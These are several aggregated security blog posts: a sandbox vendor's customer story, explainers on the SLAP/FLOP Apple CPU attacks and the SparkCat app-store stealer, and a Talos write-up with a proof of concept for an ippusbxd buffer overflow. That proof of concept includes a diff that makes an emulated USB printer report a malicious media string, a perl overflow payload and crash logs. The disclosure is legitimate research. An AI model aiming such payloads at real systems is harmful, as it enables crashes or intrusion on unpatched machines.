I Used a Sandbox to Strengthen Bank’s Security—Here’s How It Worked

/in

Recently we had a chance to sit down for a chat with the Head of Cybersecurity at an investment bank. An hour-long conversation gave a sneak peek into the work of their cybersec team, challenges they face, and the use of ANY.RUN’s Interactive Sandbox.  

Here’s what we learned. 

Company and Team Overview 

We’re an investment bank based in Brussels. The total number of employees is about 750 people with 12 of them being on my cybersecurity team. Just like most companies out there we have to make do with limited resources and stay lean. That means wearing multiple hats and sharing different roles depending on the current situation at hand. Our threat analysts can jump in and handle incident response if need be and so on.  

What Made the Team Look for a Sandbox 

When I first took over this role, coming from a large international bank, my number one task was to take a look at the business’s entire cybersecurity setup and find ways to make it more efficient. In reality, it turned out to be messier than I expected. 

The team was literally getting swamped with alerts every day with no end in sight. Thankfully, having seen what a properly functioning cybersecurity department looks from the old job, I knew what kind of levers I had to start pulling to get the things to where they had to be. 

Fixing workflow meant new tools. A good malware sandbox was at the top of the list. Back at the large bank we had a whole selection of these from different vendors, including ANY.RUN. The CISO there often said, “Investing in good cybersecurity costs less than the incidents it prevents.” That helped a lot in securing budget whenever we wanted to test a new tool. 

Investing in good cybersecurity costs less than the incidents it prevents.

Basically, because I’d already seen sandboxes in action, I knew how critical they would be for building a more effective department. But if you are going to press me to pick one thing that made me jump to sandboxes right away, it was the speed boost they offered. Not just in terms of malware analysis, I mean across the board, for everything from spotting threats to responding to incidents.  

So, it was a total no-brainer to start looking at sandbox options from the day I stepped into my role. 

Why ANY.RUN 

After spending a week scrolling through vendors’ websites, I decided to just put together all the must-haves I wanted to see in the ideal solution. Eventually it came down to the two main features, apart from the basic stuff, of course. 

Banking means a ton of data privacy compliance, so we had to know our data would be secure in the sandbox and that it would meet all the regulations. Vendor’s privacy policies, the location of their servers, and how they handled data were really important. 

Naturally, threat detection performance was essential. But practicality for the team was also crucial. We needed a tool that gave us as many insights as possible, be it network traffic or system logs. It had to be helpful for both our initial triage and our more in-depth incident response work. 

And after I threw in ANY.RUN’s price, the choice became obvious. 

Gain instant insights into malware and phishing threats
with ANY.RUN’s Interactive Sandbox 



Get 14-day free trial


How Long They’ve Been Using ANY.RUN 

We’ve been using ANY.RUN for approximately 18 months now. 

Sandbox’s Impact on CyberSec Operations 

Integrating the sandbox was part of a bigger workflow overhaul, so we saw results almost instantly, in the first week. The team was able to churn through alerts and threat analysis at least twice as fast. This saved the bank hefty sums of money on incident response and recovery that were avoided thanks to our timely actions. But it was not just about going faster, though.   

Our threat understanding improved too. And it’s really down to ANY.RUN’s VM control. It lets the team explore files, browse websites, download and execute files. The hands-on approach saves hours of work and has now become our secret weapon for understanding complex malware behavior in the shorter time period. It is also much cheaper and more effective than running custom-built VMs on isolated computers that require a week of preparation. 

The combination of speed and knowledge allowed us to identify and prevent cyber attacks better than ever before.

The combination of speed and knowledge allowed us to identify and prevent cyber attacks better than ever before. It also helped us plan smarter, strategically and tactically, and respond to attacks much more effectively.

How ANY.RUN Fits into Larger Cybersecurity Strategy 

We regularly use ANY.RUN with other security solutions, which once again contributes to more efficient workflows, faster reaction time, and no money lost for the company.  

In one of the instances, the API helps us automatically submit suspicious files from our email gateway and other sources directly to the sandbox for analysis. When running the sandbox with an endpoint security solution, I recommend turning the automated mode on (Automated Interactivity — Editor). The service does a good job identifying threats on its own, which once again gives us a chance to save time for our team members. 

Common Threats Faced by the Bank 

Everyone knows that the financial industry is the number one target for criminals. That is why we face a myriad of threats at the same time. But for us, social engineering threats like phishing emails are a constant headache. The number of ransomware and credential stealing attempts we have prevented thanks to the sandbox is already in the hundreds. Had we not identified them, this would be devastating for the business.  

The number of ransomware and credential stealing attempts we have prevented thanks to the sandbox is already in the hundreds.

Beyond just reacting to threats, we also use the sandbox for proactive threat hunting. When we encounter new, unknown malware strains, we detonate them in the sandbox specifically to collect detailed behavioral data. This intelligence then allows us to enrich our detection rules across our security infrastructure and better protect against future variations of these threats. 

Stopping Ransomware from a Supplier Email 

Let me share a concrete example where the sandbox truly proved its worth. One day we received an email from our long-term supplier. It was a fairly routine communication, but it contained a zip attachment with a password, which raised a red flag for our email security system.  

Following our procedures, one of the analysts detonated the email within the sandbox, opened the archive, and discovered an executable inside. After the executable ran in the sandbox environment, we quickly saw the entire attack chain: the executable turned out to be a loader, which downloaded and initiated a ransomware within the virtual machine. 

Timely sandboxing prevented the company from suffering millions of dollars in losses, damaged reputation, and years of litigation.

Thanks to the sandbox, we were able to identify this ransomware threat before it could reach any of our actual systems. We blocked the email across our organization and warned other departments about this specific phishing campaign. Timely sandboxing prevented the company from suffering millions of dollars in losses, damaged reputation, and years of litigation.


Learn to analyze malware in a sandbox

Learn to analyze cyber threats

See a detailed guide to using ANY.RUN’s Interactive Sandbox for malware and phishing analysis


Read full guide


Future Plans 

We never stop improving our security infrastructure, and with strong advancements in AI, we cannot afford to ignore this trend. Right now we focus on AI-assisted automation and our plans include deeper integration with the SOAR and SIEM platforms. 

Of course, the AI-powered analysis within ANY.RUN’s sandbox fits perfectly into this strategy. Our team regularly turns to this feature for quick tips on the malicious activities detected during analysis.  

Advice for Other Organizations Choosing a Sandbox 

Before you even start evaluating vendors, be crystal clear about why you need a sandbox and what specific security problems you’re trying to solve. What are your biggest malware-related pain points? Having defined use cases will help you focus your evaluation and ensure the sandbox you choose truly addresses your needs. 

But let’s be honest: no security solution is a magic bullet. The final decision always rests with you and your team. 

Conclusion 

We want to thank the guest for sharing their detailed insights into the inner workings of a security team at a financial institution. We hope this story can help other organizations facing similar issues. If you are using ANY.RUN’s products and willing to share your experiences with the community, please send us an email at content@any.run. 

How ANY.RUN’s Services Help Banks 

ANY.RUN’s suite of cybersecurity tools is trusted by numerous businesses in the finance industry. 

  • Interactive Sandbox offers fast and extensive malware and phishing analysis to streamline security operations and maintain better defense. 
  • TI Lookup provides instant context for indicators of compromise (IOCs), indicators of behavior (IOBs), and indicators of attack (IOAs) to help banks speed up incident response, threat hunting, and save resources. 
  • TI Feeds allows banks to identify emerging threats before they have a chance to inflict damage by supplying a real-time stream of network indicators. 

Test ANY.RUN’s tools in your organization with 14-day free trial →

The post I Used a Sandbox to Strengthen Bank’s Security—Here’s How It Worked appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

SLAP and FLOP vulnerabilities in Apple CPUs | Kaspersky official blog

/in

Researchers from universities in Germany and the U.S. recently showcased an interesting attack — or rather, two attacks — exploiting two different vulnerabilities in Apple CPUs. Picture this: someone sends you a link in a chat. When you click it, nothing looks suspicious at first. It doesn’t ask for your work email password, doesn’t try to get you to download a sketchy file. The page might even contain something fun or useful. But while you’re busy browsing it, hidden code is secretly harvesting data from another browser tab  — checking your location, recent online purchases, and even stealing your emails.

The description of the attack seems simple enough, but in reality, we’re talking about a very complex attack that exploits the features of so-called speculative execution by the CPU.

Wait a minute! Haven’t we heard this before?

You just might have. The core idea of the new attacks resembles various Spectre-type attacks that exploit other, albeit somewhat similar, vulnerabilities in Intel and AMD CPUs. We’ve covered those attacks before. In 2022, four years after the first Spectre vulnerability was discovered, we concluded that there was no realistic, easy, or effective way to exploit those vulnerabilities. Although exploiting these new Apple chip vulnerabilities isn’t straightforward either, the difference this time is that the researchers have already provided fairly realistic attack scenarios and proved their feasibility. To see just how dangerous these vulnerabilities are, let’s briefly recap the basic principles behind all such attacks without getting bogged down in complicated research.

Exploiting speculative execution logic

Speculative execution refers to a situation where the processor executes the next instruction without waiting for the previous one to finish. Let’s draw a somewhat odd yet helpful analogy here with a car. Imagine your car starts the engine automatically every time you approach it. If you’re just passing by, the engine stops (as such, the operation is unnecessary). But if you’re about to set off driving, it’s ready to go as soon as you get in.

Similarly, a CPU can decide to run an operation in speculative execution mode. And by the time the previous computation is complete, the program’s logic might have changed, making this operation unnecessary; in this case it’s discarded. CPU designers utilize a variety of techniques to improve branch-predictor capability to forecast instructions that are most likely to be executed next. To accomplish this, they gather instruction execution statistics: if a certain code segment is always invoked under particular conditions, it’s probable that it will be invoked under the same conditions again.

Such a computation may involve rather sensitive operations such as accessing protected memory areas containing secret data. The issue lies in the fact that even if a program shouldn’t have access to such data, it can still potentially “train” the speculative execution algorithm to access it.

Before the Spectre attack was discovered in August 2018, it wasn’t considered to be a data leakage risk. Secret information, such as encryption keys and private user data, is stored in the restricted-access CPU cache. However, the researchers who discovered Spectre found that cached data could be extracted indirectly — by performing hundreds and thousands of read operations and measuring the execution time of these instructions. They found that one could “guess” cached values that way: if the guess is correct, the instruction would execute fractions of a second faster.

So, there are two crucial components to a Spectre-like attack. One is the ability to trick the speculative execution algorithm into accessing a forbidden memory area. The other is the capability to read this data indirectly through a side channel.

SLAP and FLOP attacks on Apple CPUs

The researchers from Germany and the U.S. wrote two separate papers at once — because they’d discovered two different vulnerabilities in Apple CPUs. One issue was found in the Load Address Predictor. This is one of many speculative execution systems that predicts the RAM address that a running program will most likely access. The second vulnerability was found in the Load Value Predictor system. This additionally attempts to anticipate the actual value that will be retrieved from RAM.

The researchers named the two attacks “SLAP” and “FLOP”: short for “Speculative Load Address Prediction” and “False Load Output Prediction”. Although both attacks have a common principle and result in a similar outcome, the methods of exploiting these vulnerabilities differ significantly — hence the two different studies. In the former case, the researchers demonstrated how the Load Address Predictor could be exploited to read restricted data. In the second case, while no data was actually read, the system’s accurate prediction of what would be read could again expose sensitive information.

How dangerous are SLAP and FLOP attacks?

Nearly all Spectre-type attacks are subject to numerous limitations that hinder their practical use for malicious purposes:

  • The “malicious code” exploiting a vulnerability in the speculative execution system must be running on the same CPU core as the targeted process.
  • The ability to steal data often depends on the presence of code with certain features in the OS kernel or other software that the attacker has no control over.
  • Carrying out a remote attack over a network or through a browser is extremely difficult because measuring the instruction execution time to obtain data through a side channel becomes a lot more complicated.

Therefore, all previous attacks could be categorized as very complex, and only applicable for attempts to access highly valuable data, which means the attacker needed considerable resources to develop such an attack. All in all, that’s good news, as patching certain hardware vulnerabilities in production CPUs is either virtually impossible or associated with a substantial decrease in performance.

SLAP and FLOP open up a different perspective. They affect the latest processors made by Apple. The Load Address Predictor was introduced on desktop computers and laptops with the Apple M2 CPU model, and mobile devices with the Apple A15. The more advanced Load Value Predictor first appeared in the Apple M3 and A17, respectively.

Implementing these attacks is still a challenge. However, a key difference in this study compared to previous ones is that it immediately both proposed and verified the feasibility of practical attacks. The researchers demonstrated how SLAP and FLOP can be used to bypass multiple security layers both in the CPU and the Safari browser to gain access to sensitive data.

This alone might not be enough reason for cybercriminals to develop functional malware targeting Apple devices; however, there are other reasons why attempts to use SLAP and FLOP could be made in the wild.

Apple devices are rather well protected. Exploits allowing one to bypass an iPhone’s security system and gain access to the owner’s private data command exorbitant prices on the gray and black markets. Thus, it’s reasonable to assume that a hardware vulnerability that’s highly likely to remain at least partially unfixed will be exploited in targeted attacks when particularly valuable data is sought. It’s therefore not out of the question that we’ll see such vulnerabilities exploited in targeted attacks on Apple devices.

Kaspersky official blog – ​Read More

Small praise for modern compilers – A case of Ubuntu printing vulnerability that wasn’t

/in

Small praise for modern compilers - A case of Ubuntu printing vulnerability that wasn’t

By Aleksandar Nikolich

Earlier this year, we conducted code audits of the macOS printing subsystem, which is heavily based on the open-source CUPS package. During this investigation, IPP-USB protocol caught our attention. IPP over USB specification defines how printers that are available over USB can only still support network printing via Internet Printing Protocol (IPP). After wrapping up the macOS investigation, we decided to take a look at how other operating systems handle the same functionality. 

Our target Linux system was running Ubuntu 22.04, a long-term support (LTS) release that handled IPP-USB via the “ippusbxd” package. This package is part of the OpenPrinting suite of printing tools that was under a lot of scrutiny recently due to several high severity vulnerabilities in different components. Publicity around these issues has caused undue stress on the OpenPrinting suite maintainers, so, although the potential vulnerability we are about to discuss is very real, mitigating circumstances make it less severe. The vulnerability is discovered and made unexploitable by modern compiler features, and we are highlighting this rare win. Additionally, the “ippusbxd” package is replaced by a safer “ipp-usb” solution, making exploitation of this vulnerability less likely.

Discovering the vulnerability

On Ubuntu-flavored Linux systems, when a new USB printer is plugged in, UDEV subsystem will invoke an IPP-USB handler to enable IPP-USB functionality. In Ubuntu 22.04, this is “ippusbxd” daemon, which handles communication with the printer, announces it to the network over DNS-SD, and makes it available on a network port. As this has a potential for an interesting attack surface, it piqued our interest.

The first step when getting familiar with a code base is to try to build it. While doing so, we were presented with the following message:

In file included from /usr/include/string.h:495,
                 from ippusbxd-1.34/src/capabilities.c:9:
In function ‘strncpy’,
    inlined from ‘get_format_paper’ at ippusbxd-1.34/src/capabilities.c:205:9:
/usr/include/x86_64-linux-gnu/bits/string_fortified.h:106:10: warning: ‘__builtin___strncpy_chk’ 
              specified bound depends on the length of the source argument [-Wstringop-overflow=]
  106 |   return __builtin___strncpy_chk (__dest, __src, __len, __bos (__dest));
      |          ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ippusbxd-1.34/src/capabilities.c: In function ‘get_format_paper’:
ippusbxd-1.34/src/capabilities.c:204:13: note: length computed here
  204 |         a = strlen(val) - strlen(tmp);
      |             ^~~~~~~~~~~
In file included from /usr/include/string.h:495,
                 from ippusbxd-1.34/src/capabilities.c:9: 

Above is a compiler warning, enabled by “-Wstringop-overflow”, which performs lightweight static code analysis during compilation to catch common memory corruption issues. In this particular case, the compiler is telling us that there exists a potential vulnerability in the highlighted code. Essentially, compiler analysis has judged that a length argument to a “strncpy” call is based on the length of the source operand instead of the destination operand. This is a classic case of a stack-based buffer overflow involving the “strcpy” family of functions. 

To confirm that this is indeed a true positive finding, we looked at code context:

char test1[255] = { 0 };
       char test2[255] = { 0 };
       char *tmp = strchr(val, '=');
       if (!tmp) continue;
       a = strlen(val) - strlen(tmp);           
       val+=(a + 1);
       tmp = strchr(val, ' ');
       if (!tmp) continue;
       a = strlen(val) - strlen(tmp);                                    
       strncpy(test2, val, a);                 

The above excerpt is in the part of the code that is trying to parse paper dimensions supported by the printer. Expected input would be:

{ x-dimension=1234 y-dimension=1234 }

Calls to “strlen” are used to calculate the length of the incoming numerical values, and the code can indeed result in a straightforward buffer overflow if the value specified in ”y-dimension” is longer than the buffer can hold.

Looking up the users of the offending code reveals that it’s only used during printer initialization, while interrogating printer capabilities:

int
ipp_request(ippPrinter *printer, int port)
{
  http_t    *http = NULL; 
  ipp_t *request, *response = NULL;
  ipp_attribute_t *attr;
  char uri[1024];
  char buffer[1024];
  /* Try to connect to IPP server */
  if ((http = httpConnect2("127.0.0.1", port, NULL, AF_UNSPEC,
               HTTP_ENCRYPTION_IF_REQUESTED, 1, 30000, NULL)) == NULL) {
    printf("Unable to connect to 127.0.0.1 on port %d.n", port);
    return 1;
  }
  snprintf(uri, sizeof(uri), "http://127.0.0.1:%d/ipp/print", port);
  /* Fire a Get-Printer-Attributes request */
  request = ippNewRequest(IPP_OP_GET_PRINTER_ATTRIBUTES);
  ippAddString(request, IPP_TAG_OPERATION, IPP_TAG_URI, "printer-uri",
                 NULL, uri);
  response = cupsDoRequest(http, request, "/ipp/print");

In other words, this vulnerability would be triggered if a printer connected to a machine’s USB port reports supporting abnormally large media size

The compiler was right, this indeed constitutes a vulnerability. If exploited against a locked laptop, it could result in arbitrary code execution in a process with high privileges. 

Developing a proof of concept

To prove the existence and severity of this vulnerability, we need to develop a proof of concept (PoC) exploit. Since triggering this vulnerability technically requires a malicious printer being physically connected to the USB port, we have some work to do. 

An obvious route for implementing this is by using Linux USB Gadget API. The Linux USB Gadget API allows developers to create custom software-defined USB devices (i.e., gadgets). It enables device emulation, interface management, and communication protocol handling for virtual devices. In this scenario, an embedded Linux system acts as a USB device, instead of a USB host, and emulates desired functionality. Gadget drivers emulating an ethernet network interface or mass storage device are readily available in all Linux systems, and small single board computers can be used for this purpose. Among these, Raspberry Pi Zero fits all the requirements. 

Implementing a whole emulated USB printer would require significant effort, but PAPPL (a project related to OpenPrinting) already implements a featureful printer gadget that we can easily repurpose. A minimal modification to the source code is required to make the emulated printer report malicious media dimensions:

diff --git a/pappl/printer-driver.c b/pappl/printer-driver.c
index 10b7fda..b872865 100644
--- a/pappl/printer-driver.c
+++ b/pappl/printer-driver.c
@@ -747,6 +747,7 @@ make_attrs(
       ippDelete(cvalues[i]);
   }
+  ippAddString(attrs, IPP_TAG_PRINTER, IPP_CONST_TAG(IPP_TAG_KEYWORD), "media-size-supported",  NULL, getenv("EXPLOIT_STRING"));                      [5]
   // media-col-supported
   memcpy((void *)svalues, media_col, sizeof(media_col));
diff --git a/testsuite/testpappl.c b/testsuite/testpappl.c
index 460058d..7972cb6 100644
--- a/testsuite/testpappl.c
+++ b/testsuite/testpappl.c
@@ -812,7 +812,7 @@ main(int  argc,                             // I - Number of command-line arguments
     }
     else
     {
-      printer = papplPrinterCreate(system, /* printer_id */0, "Office Printer", "pwg_common-300dpi-600dpi-srgb_8", "MFG:PWG;MDL:Office Printer;", device_uri);
+      printer = papplPrinterCreate(system, /* printer_id */0, "Office Printer", "pwg_common-300dpi-600dpi-srgb_8", "MFG:PWG;MDL:Office Printer;CMD:pwg;", device_uri);         [4]
       papplPrinterSetContact(printer, &contact);
       papplPrinterSetDNSSDName(printer, "Office Printer");
       papplPrinterSetGeoLocation(printer, "geo:46.4707,-80.9961");

In the above code, we instruct the emulated printer to use contents of the “EXPLOIT_STRING” environment variable as its “media-size-supported” payload. 

To set up the trigger, we first set the `EXPLOIT_STRING` to contain our buffer overflow payload:

export EXPLOIT_STRING=`perl -e 'print "{x=a y=" . "A"x600 . " }"'`

Above will report `y` dimension to have a series of 600 A characters–enough to overflow both stack buffers and cause a crash. 

Then, we run the following on our Raspberry Pi Zero device:

testsuite/testpappl -U -c -1 -L debug -l - --usb-vendor-id 0xeaea --usb-product-id 0xeaea

The above command, using a utility from PAPPL suite, sets up an emulated USB printer device that will, when connected via USB to our target machine, deliver our buffer overflow payload. 

The next step is to simply connect the Raspberry Pi Zero device to the target and observe the effect:

[520463.829183] usb 3-1: new high-speed USB device number 85 using xhci_hcd
[520463.977791] usb 3-1: New USB device found, idVendor=eaea, idProduct=eaea, bcdDevice= 4.19
[520463.977800] usb 3-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[520463.977804] usb 3-1: Product: Office Printer
[520463.977807] usb 3-1: Manufacturer: PWG
[520463.977809] usb 3-1: SerialNumber: 0
[520463.979354] usblp 3-1:1.0: usblp0: USB Bidirectional printer dev 85 if 0 alt 0 proto 2 vid 0xEAEA pid 0xEAEA
[520464.014666] usblp0: removed
[520464.020827] ippusbxd[647107]: segfault at 0 ip 00007f9886cd791d sp 00007ffe5965e558 error 4 in libc.so.6[7f9886b55000+195000]
[520464.020839] Code: 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 89 f8 48 89 fa c5 f9 ef c0 25 ff 0f 00 00 3d e0 0f 00 00 0f 87 23 01 00 00 <c5> fd 74 0f c5 fd d7 c1 85 c0 74 57 f3 0f bc c0 e9 2c 01 00 00 66

The above debug log shows that a segmentation fault has occurred in `ippusbxd` daemon as expected, signifying that we have successfully triggered this vulnerability.

FORTIFY_SOURCE

However, closer inspection of the binary and the crash reveals the following:

<-195299776>Note: TCP: sent 1833 bytes
<-228919744>Note: Thread #2: No read in flight, starting a new one
*** buffer overflow detected ***: terminated
Thread 4 "ippusbxd" received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff3dbe640 (LWP 649455)]
__pthread_kill_implementation (no_tid=0, signo=6, threadid=140737284662848) at ./nptl/pthread_kill.c:44
44      ./nptl/pthread_kill.c: No such file or directory.
(gdb) bt
#0  __pthread_kill_implementation (no_tid=0, signo=6, threadid=140737284662848) at ./nptl/pthread_kill.c:44
#1  __pthread_kill_internal (signo=6, threadid=140737284662848) at ./nptl/pthread_kill.c:78
#2  __GI___pthread_kill (threadid=140737284662848, signo=signo@entry=6) at ./nptl/pthread_kill.c:89
#3  0x00007ffff7aea476 in __GI_raise (sig=sig@entry=6) at ../sysdeps/posix/raise.c:26
#4  0x00007ffff7ad07f3 in __GI_abort () at ./stdlib/abort.c:79
#5  0x00007ffff7b31676 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7c8392e "*** %s ***: terminatedn") at ../sysdeps/posix/libc_fatal.c:155
#6  0x00007ffff7bde3aa in __GI___fortify_fail (msg=msg@entry=0x7ffff7c838d4 "buffer overflow detected") at ./debug/fortify_fail.c:26
#7  0x00007ffff7bdcd26 in __GI___chk_fail () at ./debug/chk_fail.c:28
#8  0x00007ffff7bdc769 in __strncpy_chk (s1=s1@entry=0x7ffff3dbd090 "", s2=s2@entry=0x7ffff3dbd5f7 'A' <repeats 200 times>..., n=n@entry=601, s1len=s1len@entry=255) at ./debug/strncpy_chk.c:26
#9  0x000055555555f502 in strncpy (__len=601, __src=0x7ffff3dbd5f7 'A' <repeats 200 times>..., __dest=0x7ffff3dbd090 "") at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:95
#10 get_format_paper (val=0x7ffff3dbd5f7 'A' <repeats 200 times>..., val@entry=0x7ffff3dbd5f0 "{x=a y=", 'A' <repeats 193 times>...) at ./ippusbxd_testing/ippusbxd-1.34/src/capabilities.c:220
#11 0x000055555555fa62 in ipp_request (printer=printer@entry=0x7fffec000b70, port=<optimized out>) at ./ippusbxd_testing/ippusbxd-1.34/src/capabilities.c:297
#12 0x000055555555d07c in dnssd_escl_register (data=0x5555555a77e0) at ./ippusbxd_testing/ippusbxd-1.34/src/dnssd.c:226
#13 0x00007ffff7b3cac3 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#14 0x00007ffff7bce660 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81

What caused the crash wasn’t directly the buffer overflow that overwrote stack content causing memory corruption. Nor was it stack smashing protection, a probabilistic mitigation that can be bypassed under certain conditions. In this case, the crash was caused by explicit program termination due to a detected condition for buffer overflow before it happened. This detection is the result of a compiler feature called “FORTIFY_SOURCE”, which replaces common error-prone functions with safer versions automatically. This means that the vulnerability is strongly mitigated and isn’t exploitable beyond causing a crash. 

Conclusion

We often hear of all the failings of software and vulnerabilities and mitigation bypasses, and we felt we should take this opportunity to highlight the opposite. In this case, modern compiler features, static analysis via -Wstringop-overflow and strong mitigation via FORTIFY_SOURCE, saved the day. These should always be enabled by default. Additionally, those compiler warnings are only useful if someone actually reads them. 

In this case, the impact of this vulnerability would be minor even if it were widely exploitable. The `ippusbxd` package development was abandoned in favor of a superior implementation via the “ipp-usb package implemented in a memory safe language that would prevent these sorts of issues from occurring in the first place. Developers readily point out that `ippusbxd` has been surpassed by `ipp-usb`, isn’t maintained, and isn’t used by any operating system. Ubuntu 22.04 being a long-term support version is an exception. Newer versions have switched to using `ipp-usb`. 

Cisco Talos Blog – ​Read More

SparkCat — first OCR trojan stealer to infiltrate the App Store | Kaspersky official blog

/in

Your smartphone gallery most likely contains photos and screenshots of important information you keep there for safety or convenience, such as documents, bank agreements, or seed phrases for recovering cryptocurrency wallets. All of this data can be stolen by a malicious app such as the SparkCat stealer we’ve discovered. This malware is currently configured to steal crypto wallet data, but it could easily be repurposed to steal any other valuable information.

The worst part is that this malware has made its way into the official app stores, with almost 250,000 downloads of infected apps from Google Play alone. Although malicious apps have been found in Google Play before, this marks the first time a stealer Trojan has been detected in the App Store. How does this threat work and what can you do to protect yourself?

Malicious add-ons to legitimate apps

Apps containing SparkCat’s malicious components fall into two categories. Some, such as numerous similar messenger apps claiming AI functionality, all from the same developer, were clearly designed as bait. Some others are legitimate apps: food delivery services, news readers, and crypto wallet utilities. We don’t yet know how the Trojan functionality got into these apps. It may have been the result of a supply chain attack, where a third-party component used in the app was infected. Alternatively, the developers may have deliberately embedded the Trojan into their apps.

SparkCat-infected app ComeCome in Google Play and App Store

The first app where we detected SparkCat was a food delivery service called ComeCome, available in the UAE and Indonesia. The infected app was found on both Google Play and the App Store

The stealer analyzes photos in the smartphone’s gallery, and to that end, all infected apps request permission to access it. In many cases, this request seems completely legitimate — for example, the food delivery app ComeCome requested access for a customer support chat right upon opening this chat, which looked completely natural. Other applications request gallery access when launching their core functionality, which still seems harmless. After all, you do want to be able to share photos in a messenger, right?

However, as soon as the user grants access to specific photos or the entire gallery, the malware starts going through all the photos it can reach, searching for anything valuable.

AI-powered theft

To find crypto wallet data among photos of cats and sunsets, the Trojan has a built-in optical character recognition (OCR) module based on the Google ML Kit, a universal machine learning library.

Depending on the device’s language settings, SparkCat downloads models trained to detect the relevant script in photos, whether Latin, Korean, Chinese, or Japanese. After recognizing the text in an image, the Trojan checks it against a set of rules loaded from its command-and-control server. In addition to keywords from the list (for example, “Mnemonic”), the filter can be triggered by specific patterns, such as meaningless letter combinations in backup codes or certain word sequences in seed phrases.

Keywords that SparkCat looks for

During our analysis, we requested a list of keywords used for OCR searching from the Trojan’s C2 servers. The cybercriminals are clearly interested in phrases used to recover access to crypto wallets, known as mnemonics

The Trojan uploads all photos containing potentially valuable text to the attackers’ servers, along with detailed information about the recognized text and the device the image was stolen from.

Scale and victims of the attack

We identified 10 malicious apps in Google Play and 11 in the App Store. At the time of publication, all malicious apps had been removed from the App Store (but not Google Play). The total number of downloads from Google Play alone exceeded 242,000 at the time of analysis, and our telemetry data suggests that the same malware was available from other sites and unofficial app stores, too.

Negative review of the ComeCome app in the App Store

Checking negative reviews of the ComeCome app in the App Store could have put users off downloading it

Judging by SparkCat’s dictionaries, it’s “trained” to steal data from users in many European and Asian countries, and evidence indicates that attacks have been ongoing since at least March 2024. The authors of this malware are likely fluent in Chinese — more details on this, as well as the technical aspects of SparkCat, can be found in the full report on Securelist.

How to protect yourself from OCR Trojans

Unfortunately, the age-old advice of “only download highly-rated apps from official app stores” is a silver bullet no longer — even the App Store has now been infiltrated by a true infostealer, and similar incidents have occurred repeatedly in Google Play. Therefore, we need to strengthen the criteria here: only download highly-rated apps with thousands, or better yet, millions of downloads, published at least several months ago. Also, verify app links in official sources (such as the developers’ website) to ensure they’re not fake, and read the reviews, especially the negative ones. And, of course, be sure to install a comprehensive security system on all your smartphones and computers.

Negative review of the ComeCome app in the App Store

Checking negative reviews of the ComeCome app in the App Store could have put users off downloading it

You should also be extremely cautious about granting permissions to new apps. Previously, this was primarily a concern for “Accessibility” settings, but now we see that even granting gallery access can lead to the theft of personal data. If you’re not completely sure about an app’s legitimacy (for example, it’s not an official messenger, but a modified version), don’t grant it full access to all your photos and videos. Grant access only to specific photos when necessary.

Storing documents, passwords, banking data, or photos of seed phrases in your smartphone’s gallery is highly unsafe — besides the stealers such as SparkCat, there’s also always the risk that someone peeks at the photos, or you accidentally upload them to a messenger or file-sharing service. Such information should be stored in a dedicated application. For example, Kaspersky Password Manager allows you to securely store and sync not only passwords and two-factor authentication tokens but also banking card details and scanned documents across all your devices — all in encrypted form. By the way, this app comes with our Kaspersky Plus and Kaspersky Premium subscriptions.

Finally, if you’ve already installed an infected application (the list of them is available at the end of the Securelist post), delete it and don’t use it until the developer releases a fixed version. Meanwhile, carefully review your photo gallery to assess what data the cybercriminals may have obtained. Change any passwords and block any cards saved in the gallery. Although the version of SparkCat we discovered hunts for seed phrases specifically, it’s possible that the Trojan could be reconfigured to steal other information. As for crypto wallet seed phrases, once created, they can’t be changed. Create a new crypto wallet, transfer all your funds from the compromised one, and then abandon it completely.

Kaspersky official blog – ​Read More

Changing the tide: Reflections on threat data from 2024

/in

“Enough Ripples, And You Change The Tide. For The Future Is Never Truly Set.” X-Men: Days of Future Past

Changing the tide: Reflections on threat data from 2024

In January, I dedicated some time to examine threat data from 2024, comparing it with the previous years to identify anomalies, spikes, and changes.  

As anticipated, the number of Common Vulnerabilities and Exposures (CVEs) rose significantly, from 29,166 in 2023 to 40,289 in 2024, marking a substantial 38% increase. Interestingly, the severity levels of the CVEs remained centered around 7-8 for both years. 

When taking a closer look at the known exploited vulnerabilities reported by the Cybersecurity and Infrastructure Security Agency (CISA), I observed that the numbers remained relatively stable, with 186 in 2024 compared to 187 in 2023. However, there was a noteworthy 36% increase for the critical vulnerabilities scored (9-10).  

There is more to uncover from this data, and the analysis is still ongoing.  

Changing the tide: Reflections on threat data from 2024

It was also time to “stack” the data of our Quarterly Incident Response Reports. The standout aspects are the initial access vectors to me. “Exploiting Public Facing Applications” and “Valid Accounts” were dominant, outperforming other methods. This serves as a timely reminder to implement (proper) MFA and other identity and access control solutions as well as patch regularly and replace end-of-life assets. 

Reflecting on CVEs, patching, initial access vectors and also lateral movement, it’s important to remember that the “free” support for Windows 10 will end on October 14, 2025.  

Mark.your.calendars. Please. And plan accordingly to ensure your systems remain secure.  

Newsletter reader survey

We want your feedback! Tell us your thoughts and five lucky readers will receive Talos Swag boxes.

Launch survey

The one big thing

Cisco Talos’ Vulnerability Research team recently disclosed three vulnerabilities in Observium, three vulnerabilities in Offis, and four vulnerabilities in Whatsup Gold.   

Why do I care?

Observium and WhatsUp Gold can be categorized as Network Monitoring Systems (NMS). A NMS as such holds a lot of valuable information such as Network Topology, Device Inventory, Log Files, Configuration Data and more, making them an attractive for the bad guys. 

So now what?

The vulnerabilities mentioned in this blog post have been patched by their respective vendors, make sure your installation is up to date. 

Top security headlines of the week

The Cybersecurity and Infrastructure Security Agency analyzed a patient monitor used by the Healthcare and Public Health sector and discovered an embedded backdoor. (CISA) 

Apple has released software updates to address several security flaws across its portfolio, including a zero-day vulnerability that it said has been exploited in the wild. (Hacker News) 

Nearly 100 journalists and other members of civil society using WhatsApp were targeted by a “zero-click” attack (Guardian) 

DeepSeek AI tools impersonated by infostealer malware on PyPI (Bleeping Computer) 

Can’t get enough Talos?

Upcoming events where you can find Talos

Talos team members: Martin LEE, Thorsten ROSENDAHL, Yuri KRAMARZ, Giannis TZIAKOURIS, and Vanja SVAJCER will be speaking at Cisco Live EMEA. Amsterdam, Netherlands, 9-14 February.   

